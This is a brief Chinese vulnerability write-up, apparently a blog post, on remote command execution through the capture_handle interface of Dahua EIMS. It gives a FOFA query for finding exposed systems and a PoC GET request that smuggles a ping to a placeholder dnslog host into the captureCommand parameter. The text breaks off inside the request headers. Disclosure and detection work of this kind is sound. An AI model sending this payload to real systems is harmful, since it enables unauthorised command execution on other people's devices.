大华EIMS-capture_handle接口远程命令执行漏洞

最新推荐文章于 2025-05-14 14:24:21 发布

「已注销」

最新推荐文章于 2025-05-14 14:24:21 发布

阅读量734

点赞数 10

文章标签： web安全安全

本文链接：https://blog.youkuaiyun.com/qq_36334672/article/details/136649828

版权

本文介绍了大华EIMS系统中CAPTURE_HANDLE接口存在的远程命令执行漏洞，详细阐述了漏洞影响范围、POC检测方法以及修复建议，提醒用户及时更新系统至最新版本以确保安全。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

1.漏洞介绍

大华EIMS CAPTURE_HANDLE接口允许远程命令执行

2.漏洞编号

CVE	CNVD	CNNVD
-	-	-

3.影响范围

名称	版本号
	-

4.检索特征

FOFA：“eims”
在这里插入图片描述

5.POC

GET /config/asst/system_setPassWordValidate.action/capture_handle.action?captureFlag=true&captureCommand=ping%20xxx.dnslog.cn%20index.pcap HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection